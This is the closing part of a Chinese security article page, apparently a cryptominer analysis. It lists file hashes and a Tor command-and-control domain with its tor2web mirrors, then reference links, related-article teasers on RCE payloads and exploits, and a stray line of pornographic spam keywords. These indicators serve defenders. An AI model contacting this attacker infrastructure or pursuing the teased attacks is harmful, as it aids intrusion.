    MD5 7308d194a75c13e464d4a8cc8094bca7

    SHA-1 389889090811fb2a4063d03c0ecafb33b8c68b12

    SHA-256 7834430c0d7953648e906a679ae6e92d6807305220639df41bff72dceb09e94f

    fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.onion

    fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.it ——C&C域名

    fjuoqusekcob5av5rww3nxgscdrq5dgm7w535qe2ekudln4azyzqkzad.tor2web.in ——C&C域名

    參考文章

    https://www.freebuf.com/articles/system/233138.html

    https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=144683

    https://www.freebuf.com/articles/system/225146.html

    https://hksanduo.github.io/2021/11/08/2021-11-08-systemd-miner-analysis/

    https://www.freebuf.com/articles/web/279000.html

    https://zhuanlan.zhihu.com/p/370493577

    https://www.codenong.com/cs106872151/cl

    http://les1ie.com/2021/07/12/tor-miner/

    https://github.com/tor2web/Tor2web

    ———————————————————————

    作者:lemon

    文章來源于先知社區

    base64unix命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文梳理總結了macOS系統中最容易被竊取的7種數據資產類型,以幫助安全運營人員更好地保護企業,并識別潛在的風險跡象。
    CVE-2022-33891漏洞復現
    2022-07-25 15:46:51
    簡介Spark 是用于大規模數據處理的統一分析引擎。它提供了 Scala、Java、Python 和 R 中的高級 API,以及支持用于數據分析的通用計算圖的優化引擎。它還支持一組豐富的高級工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作負載的 Spark 上的 Pandas API、用于機器學習的 MLlib、
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    在滲透或者CTF中,總會有特殊函數被過濾,如'ls、cat、tac'。防火墻將這些函數加入黑名單,我們需要找一些方法來代替,用fuzz給他們替換,就出現了BYpass思路。學習就是先走一回別人的老路,知識點到量才可以開創自己的新路。
    部分getshell漏洞匯總
    2022-07-20 10:12:45
    即可未授權訪問console后臺,但是權限比較低備注:此處會出現個問題,在復現的環境中直接拼接
    前言學習筆記-請勿當真。如有錯誤-也很正常。練習地址https://katacoda.com/madhuak
    vCenter Server 常用攻擊手法
    眾所周知,在Linux上運行一個程序,則這個程序必須以一個文件的形式存在,而且必須能夠通過文件系統層次結構并以某種方式訪問到它,這也是execve()的工作機制。這種機制不僅使得我們可以輕松控制Linux系統中運行的內容,而且還可以輕松檢測到安全威脅或攻擊者植入的惡意程序,甚至還可以阻止攻擊者嘗試執行他們的任何工具,比如說不允許未經授權的用戶將可執行文件放在任何地方。
    Ann
    暫無描述
      亚洲 欧美 自拍 唯美 另类